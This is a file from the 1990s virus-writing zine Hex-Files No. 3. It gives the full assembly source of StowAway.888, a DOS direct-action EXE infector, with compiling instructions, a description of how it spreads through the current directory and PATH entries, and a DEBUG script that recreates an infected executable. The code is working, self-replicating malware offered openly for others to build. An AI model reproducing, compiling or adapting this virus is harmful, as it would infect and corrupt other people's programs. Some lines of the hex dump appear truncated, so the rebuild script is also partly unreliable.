Copy Link
Add to Bookmark
Report
Hexfiles Issue 3 File 003
HEX-FILES No. 3 File 003
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
StowAway 1
<[ StowAway.888 ]>
by Mikee
Mikee's World
http://members.xoom.com/virmike
mikee@pworld.net.ph
StowAway is a direct action EXE infector. When an infected file is
executed, it will search for an uninfected EXE program in the current
directory. In addition, it will infect one EXE program each from the
first four declared paths, if any, in the PATH variable in the
environment.
To prevent reinfection, StowAway clears and places a value of 32 on
the second field of the file time stamp. Therefore, all infected
files will have 32 seconds on their time stamps.
StowAway is appended to EXE programs. File length of infected
programs will increase by 888 bytes.
When an infected program is executed, there is a 50% chance that it
would display its message, as follows:
*******************************************************
* yO!!! I could have made some mischief to you but I *
* lEfT it out. I'm the #Nomad Virus# - Mikee's World *
*******************************************************
The encrypted version of StowAway is available from the web site of
Mikee's World.
ÄÄ STOWAWAY.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: StowAway 1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author : Mikee ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : Quezon City, Philippines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This source code can be compiled using ÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ A86 4.02, TASM 2.01 or MASM 5.0. ÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ TASM and MASM produces the same output ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ but that of A86 is different. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
assume cs:@code, ds:@code, es:@code, ss:@code
;
VirusLength equ offset OldDir-offset VirusMain ; length of virus in bytes
MyTimeMarker equ 00010000b ; our virus marker (seconds of file time - last
; 5 bits)
;
;----------------------------- the virus main procedure
VirusMain proc
call GetDelta
GetDelta:
pop bp
sub bp,3
;
;----------------------------- first save all important data such as DTA,
;----------------------------- PSP Segment, etc.and create own DTA and
;----------------------------- segment values
call SaveHistory
;
;----------------------------- then search for a host program to infect
SFHLoop:
call SearchForHost
jc VM1
call Infect
VM1:
lea dx,Path1[bp]
call ChangeDir
jc NoHostFound
call SearchForHost
jc VM2
call Infect
VM2:
lea dx,Path2[bp]
call ChangeDir
jc NoHostFound
call SearchForHost
jc VM3
call Infect
VM3:
lea dx,Path3[bp]
call ChangeDir
jc NoHostFound
call SearchForHost
jc VM4
call Infect
VM4:
lea dx,Path4[bp]
call ChangeDir
jc NoHostFound
call SearchForHost
jc NoHostFound
call Infect
NoHostFound:
;
;----------------------------- if you have a payload, call to
;----------------------------- procedure goes here
call Payload
;
;
;----------------------------- then restore important data
call RestoreData
;----------------------------- you then restore the host
;----------------------------- relocate code segment
mov ax,OldCS2[bp]
add ax,10h
add ax,PSPSeg[bp]
mov OldCS2[bp],ax
;----------------------------- relocate stack segment and put new value to
;----------------------------- SP register
cli
mov ax,OldSS2[bp]
add ax,10h
add ax,PSPSeg[bp]
mov ss,ax
mov sp,cs:OldSP2[bp]
sti
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor di,di
xor si,si
;----------------------------- and pass control to host
jmp dword ptr cs:VirusHost[bp]
VirusMain endp
;
;----------------------------- save all important data and setup virii data
SaveHistory proc
mov ax,es:[2ch] ; get environment segment
mov PSPSeg[bp],es ; save PSP segment
mov di,0
mov es,ax
SHLoop1:
mov cx,100
mov al,0
repne scasb
cmp word ptr es:[di],'AP' ; search PATH environment variable
jne SHLoop1
add di,5
mov si,di
push es
pop ds
push cs
pop es
;----------------------------- copy the first four declared path
lea di,Path1[bp]
mov cx,4
mov bx,di
SH1:
lodsb
cmp al,0
je NoMorePath
cmp al,';'
jne SH2
mov al,0
SH2:
stosb
cmp al,0
jne SH1
mov di,bx
add di,70
mov bx,di
loop SH1
NoMorePath:
mov ah,19h ; get default drive...
int 21h
add al,41h
mov OldDrive[bp],al ; ...and save
push cs
pop ds
mov ah,47h ; get default directory
mov dl,0
lea si,OldDir[bp]
int 21h
lea dx,VirusDTA[bp] ; set default dta
mov ah,1ah
int 21h
;----------------------------- save segment and pointers of host program
mov ax,OldCS1[bp]
mov OldCS2[bp],ax
mov ax,OldIP1[bp]
mov OldIP2[bp],ax
mov ax,OldSS1[bp]
mov OldSS2[bp],ax
mov ax,OldSP1[bp]
mov OldSP2[bp],ax
ret
SaveHistory endp
;
;----------------------------- procedure to search for host
SearchForHost proc
xor ax,ax
push es
mov es,ax
mov ah,4eh
mov cx,0
lea dx,SearchMask[bp]
pushf
cli
call dword ptr es:[21h*4]
pop es
jc NoneFound
jmp short SFH2
SFH1:
mov ah,4fh
int 21h
jc NoneFound
SFH2:
mov ax,FileTime[bp]
and al,00011111b
xor al,MyTimeMarker
jz SFH1
mov ax,3d00h
lea dx,FileName[bp]
int 21h
jc SFH1
mov bx,ax
mov cx,2
mov ah,3fh
lea dx,VirusBuffer[bp]
int 21h
mov ah,3eh
int 21h
cmp word ptr VirusBuffer[bp],'ZM'
jne SFH1
clc
NoneFound:
ret
SearchForHost endp
;
;----------------------------- procedure to infect found host
Infect proc
mov ax,4301h ; clear file attribute
mov cx,0
lea dx,FileName[bp]
int 21h
jnc I1
jmp ExitInfect
I1:
mov ax,3d02h ; read/write open
lea dx,FileName[bp]
int 21h
jnc I2
jmp ExitInfect
I2:
mov ah,3fh ; read header
mov cx,1ch
lea dx,VirusBuffer[bp]
int 21h
;
;----------------------------- save segment and pointers
;
push word ptr VirusBuffer+0eh[bp] ;ss
push word ptr VirusBuffer+10h[bp] ;sp
push word ptr VirusBuffer+14h[bp] ;ip
push word ptr VirusBuffer+16h[bp] ;cs
pop OldCS1[bp]
pop OldIP1[bp]
pop OldSP1[bp]
pop OldSS1[bp]
mov ax,4202h ; move file pointer to eof
cwd
xor cx,cx
int 21h
mov ah,40h ; write virus
lea dx,VirusMain[bp]
mov cx,VirusLength
int 21h
mov ax,word ptr VirusBuffer+8[bp] ; exe header length
mov cl,4
shl ax,cl
mov cx,ax
mov ax,FileLowSize[bp]
mov dx,FileHighSize[bp]
sub ax,cx
sbb dx,0
mov cx,16
div cx
;
;----------------------------- set virus segment and pointers
;
mov word ptr VirusBuffer+0eh[bp],ax ;ss
mov word ptr VirusBuffer+16h[bp],ax ;cs
mov word ptr VirusBuffer+10h[bp],0fffeh ;sp
xor dx,dx
mov ax,word ptr VirusBuffer+2[bp]
mov cx,16
div cx
mov word ptr VirusBUffer+14h[bp],dx ;ip
mov ax,4202h
cwd
xor cx,cx
int 21h
mov cx,512
div cx
inc ax
mov word ptr VirusBuffer+2[bp],dx ;page mod
mov word ptr VirusBuffer+4[bp],ax ;page count
mov ax,4200h
cwd
xor cx,cx
int 21h
mov ah,40h ; write infected header
mov cx,1ch
lea dx,VirusBuffer[bp]
int 21h
mov ax,5701h ; set file date/time
mov cx,FileTime[bp]
mov dx,FileDate[bp]
and cl,11100000b
or cl,MyTimeMarker ; set infection marker
int 21h
mov ah,3eh ; close file
int 21h
lea dx,FileName[bp]
mov ax,4301h
mov ch,0
mov cl,FileAttr[bp] ; restore attribute
int 21h
ExitInfect:
ret
Infect endp
;
;----------------------------- procedure to restore the imporant data
RestoreData proc
mov ah,3bh
lea dx,OldDrive[bp] ; restore default directory
int 21h
mov ax,PSPSeg[bp]
mov ds,ax
mov es,ax
mov ah,1ah ; restore active dta
mov dx,80h
int 21h
ret
RestoreData endp
;
;----------------------------- whatever your payload is
Payload proc
push ds
xor ax,ax
mov ds,ax
mov al,ds:[46ch] ; payload has 50% chance of being displayed
pop ds
and al,1
jz PL1
mov ah,9
lea dx,VirusMessage[bp] ; show message
int 21h
PL1:
ret
Payload endp
ChangeDir proc
mov ah,3bh
int 21h
ret
ChangeDir endp
;
;----------------------------- virus data area
;
OldCS1 dw 0
OldIP1 dw offset Dummy
OldSS1 dw 0
OldSP1 dw 0fffeh
SearchMask db '*.exe',0
VirusMessage db 13,10
db "*******************************************************",13,10
db "* yO!!! I could have made some mischief to you but I *",13,10
db "* lEfT it out. I'm the #Nomad Virus# - Mikee's World *",13,10
db "*******************************************************",13,10
db 13,10
db "$"
OldDrive db 0
db ':\'
OldDir db 70 dup(0)
VirusDTA db 21 dup(0)
FileAttr db 0
FIleTime dw 0
FileDate dw 0
FileLowSize dw 0
FileHighSize dw 0
FileName db 13 dup(0)
VirusBuffer db 1ch dup(0)
VirusHost label dword
OldIP2 dw 0
OldCS2 dw 0
OldSS2 dw 0
OldSP2 dw 0
Path1 db 70 dup(0)
Path2 db 70 dup(0)
Path3 db 70 dup(0)
Path4 db 70 dup(0)
PSPSeg dw 0
Dummy:
push cs
pop ds
mov ah,9
lea dx,DummyMsg
int 21h
mov ah,4ch
int 21h
DummyMsg db 13,10,7
db 'Dummy Host v1.0',13,10
db ' ^^^^^ ',13,10
db ' ~~~~~ ',13,10
db ' (-O-O-)',13,10
db ' | ! | ',13,10
db ' = ',13,10
db 'Long Live Virii',13,10
db '$'
FirstGen:
cli ; only the first generation needs this
push cs
pop ss
mov sp,-2
sti
jmp VirusMain
end FirstGen
ÄÄ STOWAWAY.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The infected file below was infected by a virus created when the StowAway
source code listed above was compiled in TASM 2.01 producing StowAway.888.
Because DEBUG could not create an EXE program, we have to rename the output
program to something else so that it would be accepted by DEBUG. Therefore,
rename STOW888.EX_ to STOW888.EXE to get a copy of the executable program.
ÄÄ STOW888.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N STOW888.EX_
F 0100 084F 0
F 0750 079F 2A
F 0800 083F 2A
E 0100 4D 5A 48 01 04 00 00 00 20 00 00 00 FF FF 1D
E 0110 FE FF 00 00 00 00 1D 00 3E 00 00 00 01 00 FB 30
E 0120 6A 72
E 0300 0D 20 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A
E 0310 0A 54 68 69 73 20 69 73 20 53 74 6F 77 41 77 61
E 0320 79 2E 38 38 38 20 76 69 72 75 73 20 63 6F 6D 69
E 0330 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0340 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0350 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0360 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0370 53 20 4E 6F 2E 20 33 0D 0A 0A 48 45 58 2D 46 49
E 0380 4C 45 53 20 61 6E 64 20 4D 69 6B 65 65 20 61 72
E 0390 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C
E 03A0 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D
E 03B0 70 6C 69 65 64 20 61 6E 64 2F 6F 72 20 69 6D 61
E 03C0 67 69 6E 61 72 79 20 0D 0A 64 61 6D 61 67 65 20
E 03D0 61 72 69 73 69 6E 67 20 64 69 72 65 63 74 6C 79
E 03E0 20 6F 72 20 69 6E 64 69 72 65 63 74 6C 79 20 66
E 03F0 72 6F 6D 20 74 68 65 20 75 73 65 2C 20 6D 69 73
E 0400 75 73 65 20 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F
E 0410 66 20 74 68 69 73 0D 0A 70 72 6F 67 72 61 6D 2E
E 0420 20 54 68 65 20 70 65 72 73 6F 6E 20 77 68 6F 20
E 0430 65 78 65 63 75 74 65 73 20 74 68 69 73 20 70 72
E 0440 6F 67 72 61 6D 20 62 65 61 72 73 20 66 75 6C 6C
E 0450 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0460 66 6F 72 0D 0A 68 69 73 2F 68 65 72 20 61 63 74
E 0470 69 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 70 72 6F
E 0480 67 72 61 6D 20 69 73 20 73 74 72 69 63 74 6C 79
E 0490 20 66 6F 72 20 65 64 75 63 61 74 69 6F 6E 61 6C
E 04A0 20 6F 72 20 72 65 73 65 61 72 63 68 20 70 75 72
E 04B0 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 0A 24
E 04C0 08 20 1A 0E 1F BA 04 00 B4 09 CD 21 B4 4C CD 21
E 04D0 E8 00 00 5D 83 ED 03 E8 86 00 E8 08 01 72 03 E8
E 04E0 53 01 8D 96 0D 04 E8 60 02 72 3B E8 F7 00 72 03
E 04F0 E8 42 01 8D 96 53 04 E8 4F 02 72 2A E8 E6 00 72
E 0500 03 E8 31 01 8D 96 99 04 E8 3E 02 72 19 E8 D5
E 0510 72 03 E8 20 01 8D 96 DF 04 E8 2D 02 72 08 E8 C4
E 0521 72 03 E8 0F 01 E8 0A 02 E8 EF 01 8B 86 07 04
E 0530 05 10 00 03 86 25 05 89 86 07 04 FA 8B 86 09 04
E 0540 05 10 00 03 86 25 05 8E D0 2E 8B A6 0B 04 FB 33
E 0550 C0 33 DB 33 C9 33 D2 33 FF 33 F6 2E FF AE 05 04
E 0560 26 A1 2C 00 8C 86 25 05 BF 00 00 8E C0 B9 64
E 0570 B0 00 F2 AE 26 81 3D 50 41 75 F2 83 C7 05 8B F7
E 0580 06 1F 0E 07 8D BE 0D 04 B9 04 00 8B DF AC 3C
E 0590 74 14 3C 3B 75 02 B0 00 AA 3C 00 75 F0 8B FB 83
E 05A0 C7 46 8B DF E2 E7 B4 19 CD 21 04 41 88 86 75 03
E 05B0 0E 1F B4 47 B2 00 8D B6 78 03 CD 21 8D 96 BE 03
E 05C0 B4 1A CD 21 8B 86 80 02 89 86 07 04 8B 86 7E 02
E 05D0 89 86 05 04 8B 86 82 02 89 86 09 04 8B 86 84 02
E 05E0 89 86 0B 04 C3 33 C0 06 8E C0 B4 4E B9 00 00 8D
E 05F0 96 86 02 9C FA 26 FF 1E 84 00 07 72 37 EB 06 B4
E 0600 4F CD 21 72 2F 8B 86 D4 03 24 1F 34 10 74 F0 B8
E 0611 3D 8D 96 DC 03 CD 21 72 E5 8B D8 B9 02 00 B4
E 0620 3F 8D 96 E9 03 CD 21 B4 3E CD 21 81 BE E9 03 4D
E 0630 5A 75 CC F8 C3 B8 01 43 B9 00 00 8D 96 DC 03 CD
E 0640 21 73 03 E9 D4 00 B8 02 3D 8D 96 DC 03 CD 21 73
E 0650 03 E9 C6 00 B4 3F B9 1C 00 8D 96 E9 03 CD 21 FF
E 0660 B6 F7 03 FF B6 F9 03 FF B6 FD 03 FF B6 FF 03 8F
E 0670 86 80 02 8F 86 7E 02 8F 86 84 02 8F 86 82 02 B8
E 0680 02 42 99 33 C9 CD 21 B4 40 8D 96 00 00 B9 78 03
E 0690 CD 21 8B 86 F1 03 B1 04 D3 E0 8B C8 8B 86 D8 03
E 06A0 8B 96 DA 03 2B C1 83 DA 00 B9 10 00 F7 F1 89 86
E 06B0 F7 03 89 86 FF 03 C7 86 F9 03 FE FF 33 D2 8B 86
E 06C0 EB 03 B9 10 00 F7 F1 89 96 FD 03 B8 02 42 99 33
E 06D0 C9 CD 21 B9 00 02 F7 F1 40 89 96 EB 03 89 86 ED
E 06E0 03 B8 00 42 99 33 C9 CD 21 B4 40 B9 1C 00 8D 96
E 06F0 E9 03 CD 21 B8 01 57 8B 8E D4 03 8B 96 D6 03 80
E 0700 E1 E0 80 C9 10 CD 21 B4 3E CD 21 8D 96 DC 03 B8
E 0710 01 43 B5 00 8A 8E D3 03 CD 21 C3 B4 3B 8D 96 75
E 0720 03 CD 21 8B 86 25 05 8E D8 8E C0 B4 1A BA 80
E 0730 CD 21 C3 1E 33 C0 8E D8 A0 6C 04 1F 24 01 74 08
E 0740 B4 09 8D 96 8C 02 CD 21 C3 B4 3B CD 21 C3 C3 01
E 0757 2E 65 78 65 00 0D 0A
E 0795 0D 0A 2A 20 79 4F 21 21 21 20 20
E 07A0 49 20 63 6F 75 6C 64 20 68 61 76 65 20 6D 61 64
E 07B0 65 20 73 6F 6D 65 20 6D 69 73 63 68 69 65 66 20
E 07C0 74 6F 20 79 6F 75 20 62 75 74 20 49 20 2A 0D 0A
E 07D0 2A 20 6C 45 66 54 20 69 74 20 6F 75 74 2E 20 20
E 07E0 49 27 6D 20 74 68 65 20 23 4E 6F 6D 61 64 20 56
E 07F0 69 72 75 73 23 20 2D 20 4D 69 6B 65 65 27 73 20
E 0800 57 6F 72 6C 64 20 2A 0D 0A
E 0840 0D 0A 0D 0A 24 41 3A 5C
RCX
0748
W
Q
ÄÄ STOW888.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<HF3>=-